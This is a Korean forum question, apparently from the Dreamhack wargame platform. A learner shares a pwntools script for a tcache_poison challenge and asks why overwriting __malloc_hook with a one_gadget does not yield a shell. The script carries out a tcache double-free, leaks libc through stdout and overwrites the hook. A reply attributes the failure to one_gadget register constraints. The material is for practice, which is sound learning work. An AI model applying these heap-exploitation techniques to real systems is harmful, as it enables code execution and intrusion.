완료됨
__malloc_hook으로 시도해보았지만...

안녕하세요 고수분들 바쁘실텐데 제 질문에 귀중한 시간 내어주셔서 우선 감사인사 드립니다.

강의 익스 과정대로 __free_hook을 overwrite하는데는 이해하고 익스해봤는데요 __malloc_hook을 덮어도 익스해보면 어떨까 했는데 잘 되지않았습니다.

__malloc_hook을 libc-2.27.so의 one gadget으로 overwrite하고 switch구문 allocation 1.에 malloc호출해봤는데 EOF 혹은 가젯을 지나쳐 printf("Content: ")이후의 read함수에 걸리지만 쉘이 키보드 입력에 반응하지않습니다.

아직 초보라 개념이 잘 안잡혀있긴한데 이해하려고 최대한 노력해보겠습니다.
포너블 고수님ㅠㅠ 도와주세요!!

#!/usr/bin/env python3

from pwn import *



def slog(name, addr):

    return log.success(': '.join([name, hex(addr)]))

    

target_file = './tcache_poison'

p = process(target_file, env={'LD_PRELOAD' : './libc-2.27.so'})

p = remote('host3.dreamhack.games', 23578)

elf = ELF(target_file)

'''

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

'''

libc = ELF('./libc-2.27.so')



def allocate(size, content):

	p.sendlineafter(b'4. Edit\n', b'1')

	p.sendlineafter(b'Size: ', str(size).encode())

	p.sendafter(b'Content: ', content)

	



def free():

	p.sendlineafter(b'4. Edit\n', b'2')

	



def print_chunk():

	p.sendlineafter(b'4. Edit\n', b'3')

	



def edit_chunk(content):

	p.sendlineafter(b'4. Edit\n', b'4')

	p.sendafter(b'Edit chunk: ', content)





if __name__ == '__main__':

	# Initial tcache[0x40] is empty.

	# tcache[0x40]: Empty

	

	# Allocate and free a chunk of size 0x40 (chunk A)

	# tcache[0x40]: chunk A

	allocate(0x40, b'dreamhack')

	free()



	# Free chunk A again, bypassing the DFB mitigation

	# tcache[0x40]: chunk A -> chunk A

	edit_chunk(p64(0) + b'\xff')

	free()

	

	# DFB segment fault check

	# allocate(0x40, b'dreamhack')

	# allocate(0x40, b'dreamhack')

	

	# Append address of `stdout` to tcache[0x40]

	# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...

	addr_stdout = elf.symbols['stdout']

	allocate(0x40, p64(addr_stdout))

	

	# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...

	allocate(0x40, b'dreamhack')

	

	# tcache[0x40]: _IO_2_1_stdout_ -> ...

	_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_

	allocate(0x40, _io_2_1_stdout_lsb) # allocated at `stdout`

	

	# Libc leak

	print_chunk()

	p.recvuntil('Content: ')

	stdout = u64(p.recv(6).ljust(8, b'\x00'))

	slog('stdout', stdout)

	

	libc_base = stdout - libc.symbols['_IO_2_1_stdout_']

	slog('libc_base', libc_base)

	

	mh = libc_base + libc.symbols['__malloc_hook']

	slog('malloc_hook', mh)

	

	fh = libc_base + libc.symbols['__free_hook']

	slog('free_hook', fh)

	

	og_list = [0x4f3ce, 0x4f3d5, 0x4f432, 0x10a41c]

	one_gadget = libc_base + og_list[3]

	slog('one_gadget', one_gadget)

	

	# Overwrite the `__malloc_hook` with the address of one-gadget



	# Initial tcache[0x50] is empty.

	# tcache[0x50]: Empty



	# tcache[0x50]: chunk B

	allocate(0x50, b'dreamhack')

	free()

	

	# tcache[0x50]: chunk B -> chunk B -> ...

	edit_chunk(p64(0) + b'\xff')

	free()

	

	# tcache[0x50]: chunk B -> __malloc_hook

	allocate(0x50, p64(mh))

	

	# tcache[0x50]: __free_hook

	allocate(0x50, b'dreamhack')

	

	# __malloc_hook = the address of one-gadget

	allocate(0x50, p64(one_gadget))

	

	# Call `malloc()` to get shell

	allocate(0x50, p64(0))

	# free()

	# allocate(0x50, p64(one_gadget)[0:1])

	

	

	# Communicate with shell

	p.interactive()

	
#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
qwerty_io
대표 업적 없음

one_gadget을 사용할 경우, 각 레지스터에 one_gadget주소로 적합한 내용이 들어가 있어야 합니다. 따라서, 해당 부분을 디버거로 확인해보는 것이 좋아보입니다.
위의 이유 때문에, _free_hook에서는 올바르게 동작하는 one_gadget이더라도 _malloc_hook에서는 올바르게 동작하지 않을 수 있습니다.

2024.05.21. 18:03